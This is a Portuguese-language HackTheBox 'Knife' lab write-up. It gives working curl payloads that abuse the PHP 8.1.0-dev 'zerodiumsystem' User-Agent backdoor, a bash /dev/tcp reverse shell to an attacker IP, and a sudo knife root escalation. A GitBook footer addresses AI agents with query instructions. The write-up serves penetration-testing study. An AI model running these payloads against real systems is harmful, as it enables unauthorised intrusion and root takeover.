> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Relato do HackTheBox Knife

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Habilidades:

* PHP 8.1.0-dev - Execução remota de código (RCE) via 'User-Agent'
* Abusando do privilégio Sudoers (binário Knife) (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/a24bdd3e28fc5168280e1d2cbd2047b653531a18" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/b6c532797f328b000fd772e4dc7af545201e98c7" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/f01ef52016e7c813e9deef4de8c71bf950784b4c" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

<figure><img src="/files/0c2cc33209dd279ec8782d614cb241dbbdd17970" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/6a44411bcb0d3207281cf35aa3215075e3bbe1c9" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/752ab27c259282c0b9710db0b8ab9b897d86aafc" alt=""><figcaption></figcaption></figure>

Com a **WhatWeb** ferramenta, identificamos uma versão vulnerável do PHP:

```bash
whatweb http://10.10.10.242
# Resultado: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/6b290157cc95519f2d25612825dac7fe665e11e8" alt=""><figcaption></figcaption></figure></div>

## **Exploração - RCE via `User-Agent`**

Uma vulnerabilidade associada ao agente de usuário do PHP para esta versão é identificada.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Uma vulnerabilidade em `User-Agent` permite execução remota de código.

1. **Execução simples de comandos**/ Envie uma solicitação HTTP com um `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Resultado: O grupo de usuários `james` aparece na resposta.

<figure><img src="/files/61965cb6ccb32e968746400f2d3b2521b772339d" alt=""><figcaption></figcaption></figure>

2. **Shell reversa obtida**/ Configure um listener na sua máquina:

```bash
nc -nvlp 443
```

Em seguida, envie o comando para executar uma shell reversa:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/846e61d99e5b72625d5119e8b82f824021ad71fd" alt=""><figcaption></figcaption></figure>

3. **Experiência de shell aprimorada**/ Tornar o terminal mais interativo :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag User.txt

<figure><img src="/files/54209e35f396a2d4d538259862ff34d9b2547555" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

**Análise das permissões do Sudo**

Ao executar `sudo -l`, observamos que o usuário pode executar o `binário knife` como root:

<div data-full-width="true"><figure><img src="/files/736eb33d23e10b9b41c94ae071d9c5ce0074b647" alt=""><figcaption></figcaption></figure></div>

Este binário é mencionado no GTFOBins como permitindo escalada de privilégios.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/cf89db308e0d33bd97f26870e59b9a59244e6a45" alt=""><figcaption></figcaption></figure>

**Exploração**

Use o comando acima para obter uma shell de root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/3dd9f2126b233699b4eea6a33e293b0f0c771705" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/23bd24c8249ebaaa19d58ffb6b20dc30530e861d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f605e8b5e1dac8bc730b5895e79c5760286a6fdc" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
